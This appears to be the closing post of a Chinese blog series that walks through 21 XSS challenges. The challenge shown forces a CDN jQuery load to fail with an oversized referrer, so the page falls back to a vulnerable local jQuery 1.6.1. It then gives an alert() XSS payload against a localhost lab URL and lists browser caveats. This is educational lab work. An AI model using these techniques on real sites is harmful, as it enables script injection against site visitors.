juqery高版本不适合一些低版本的浏览器,或者意外因素(中国网络环境),cdn的jqeury可能会加载失败,这时候就需要加载一下本地的jquery,本地加载的jquery版本为1.6.1是存在漏洞

但是网络环境不可控,为了稳定的让受害者加载带有漏洞的jquery,那么一定要让cdn的jquery加载失败

只要请求远程cdn时有某个header,比如说referrer,超出了cdn服务器所能接受的范围,就会产生拒绝请求的现象,比如很长串的字符.

payload(chrome):

1
127.0.0.1/ali_xss_challenge/xss21.php?a=a....(中间省略9000个a)#<img src=1 onerror=alert(0)>

一些要注意的点:

  • FF测试不成功,<会url编码
  • safari,空格会自动%20编码
  • <svg/onload=alert(1)>操作不会成功,因为网页是已经加载好了

写在最后

从8月底看到现在,从放假看到开学,总算把这21道题给走了一遍。学了很多姿势,感觉出题师傅是ie黑,各种针对。。。(ie:那又如何,老子还是银行政府的标配)

题目质量很高,有时候一下午就研究一两道题,但是感觉有些地方比较牵强,比如后端已经用htmlspecialchars过滤了,前端html的属性值依然用单引号包裹,可能实际确实有这种开发不规范的情况存在。总而言之,终于把一件大事做完的感觉,要学的东西还很多,继续努力吧。。。